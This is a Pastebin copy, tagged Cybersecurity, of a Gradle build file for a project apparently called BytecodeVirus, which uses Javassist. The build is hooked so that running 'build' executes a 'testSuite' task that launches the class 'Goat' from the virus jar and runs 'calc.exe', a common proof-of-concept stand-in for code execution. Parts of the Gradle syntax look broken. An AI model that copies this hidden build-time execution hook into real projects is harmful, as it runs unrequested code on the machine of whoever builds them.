Advertisement
FlyFar

build.gradle

Jul 27th, 2023
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.15 KB | Cybersecurity | 0 0
  1. plugins {
  2. id 'java'
  3. }
  4.  
  5.  
  6. group 'org.example'
  7. version '1.0-SNAPSHOT'
  8. sourceCompatibility = 1.8
  9. build.dependsOn.add("testSuite")
  10.  
  11.  
  12. task testSuite(type: JavaExec) {
  13. jar
  14. classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')
  15. classpath += sourceSets.main.runtimeClasspath
  16. main = "Goat"
  17. }
  18.  
  19. void autoBuild(){
  20. testSuite
  21. String classpath = sourceSets
  22. exec {commandLine 'calc.exe'}
  23.  
  24. }
  25.  
  26. build{
  27. autoBuild();
  28. }
  29.  
  30.  
  31. jar {
  32.  
  33. manifest {
  34. attributes 'Main-Class': 'SelfExamine'
  35. }
  36. }
  37.  
  38.  
  39. task fatJar(type: Jar) {
  40.  
  41. doFirst {
  42. from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
  43. }
  44. exclude 'META-INF/*.RSA', 'META-INF/*.SF','META-INF/*.DSA'
  45. manifest {
  46. attributes 'Main-Class': 'SelfExamine'
  47. }
  48. baseName = project.name + '-all'
  49. from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
  50. with jar
  51. }
  52.  
  53.  
  54. repositories {
  55. mavenCentral()
  56. }
  57.  
  58. dependencies {
  59. compile group: 'javassist', name: 'javassist', version: '3.12.0.GA'
  60. testCompile group: 'junit', name: 'junit', version: '4.12'
  61. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement